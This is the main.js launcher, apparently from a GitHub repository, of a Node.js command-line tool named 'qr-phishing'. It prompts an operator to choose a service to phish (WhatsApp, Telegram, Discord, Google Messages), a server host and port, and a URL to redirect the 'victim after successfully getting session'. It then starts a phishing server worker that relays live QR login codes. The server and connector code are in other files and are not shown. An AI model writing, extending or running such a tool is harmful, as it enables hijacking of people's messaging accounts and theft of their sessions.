-
Notifications
You must be signed in to change notification settings - Fork 2
/
Copy pathmain.js
139 lines (136 loc) · 4.45 KB
/
main.js
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
#!/usr/bin/env node
import { Worker, isMainThread } from "node:worker_threads";
import chalk from "chalk";
import inquirer from "inquirer";
import { Command } from "commander";
import gradient from "gradient-string";
import chalkAnimation from "chalk-animation";
import figlet from "figlet";
import { createSpinner } from "nanospinner";
import { connector } from "./connector.mjs";
function start(type, hostname, port, link) {
if (isMainThread) {
const httpWorker = new Worker("./HTTPServer.js", {
workerData: { hostname: hostname, port: parseInt(port), link: link },
});
console.log(
gradient.rainbow(
"Started fetching QR (Quick Response) code from the Web Service"
)
);
connector(type, httpWorker).catch((e) => console.log(e));
}
}
function question() {
inquirer
.prompt([
{
type: "list",
name: "module",
message: chalk.yellowBright("Which Service? You want to phish: "),
choices: ["Message", "Whatsapp", "Telegram", "Discord", "localhost"],
},
])
.then((answer1) => {
const spinner1 = createSpinner(
chalk.blueBright("Setting the service and loading next question...")
).start();
setTimeout(() => {
spinner1.success();
inquirer
.prompt([
{
name: "host",
message: gradient.fruit("Enter Host IP to use phishing server :"),
default: "localhost",
},
])
.then((answer2) => {
const spinner2 = createSpinner(
chalk.blueBright(
"Setting the host ip and loading next question..."
)
).start();
setTimeout(() => {
spinner2.success();
inquirer
.prompt([
{
name: "port",
message: gradient.cristal(
"Enter Port no to use phishing server :"
),
default: "8200",
},
])
.then((answer3) => {
const spinner3 = createSpinner(
chalk.blueBright(
"Setting the port no and loading next question..."
)
).start();
setTimeout(() => {
spinner3.success();
inquirer
.prompt([
{
name: "relink",
message: gradient.morning(
"Paste Link to redirect victim after successfully getting session :"
),
default: "google.com",
},
])
.then((answer4) => {
const spinner4 = createSpinner(
chalk.blueBright(
"Setting the redirect link and starting the phishing server..."
)
).start();
setTimeout(() => {
spinner4.success();
start(
answer1.module,
answer2.host,
answer3.port,
answer4.relink
);
}, 1000);
});
}, 1000);
});
}, 1000);
});
}, 1000);
});
}
const program = new Command("qr-phishing");
program
.name("qr-phishing")
.description(
"QR Code Phishing of various services like Google Message Web, Whatsapp Web, Discord Web, Telegram Web etc."
)
.version("1.0.0", "-v, --version");
program
.command("start")
.alias("sp")
.description("Start Phishing")
.action(() => {
const anim = chalkAnimation.rainbow(figlet.textSync("QRPhishing"));
setTimeout(() => {
anim.stop();
console.log(
gradient.rainbow(
`Welcome to QRPhishing.\nYou can phish qr code of various services like Google Message Web, Whatsapp Web, Discord Web, Telegram Web etc.\nFollow the questions to get started.`
)
);
const spinner = createSpinner(
chalk.blueBright("Loading Questions...")
).start();
setTimeout(() => {
spinner.success();
question();
}, 1000);
}, 3000);
});
program.parse(process.argv);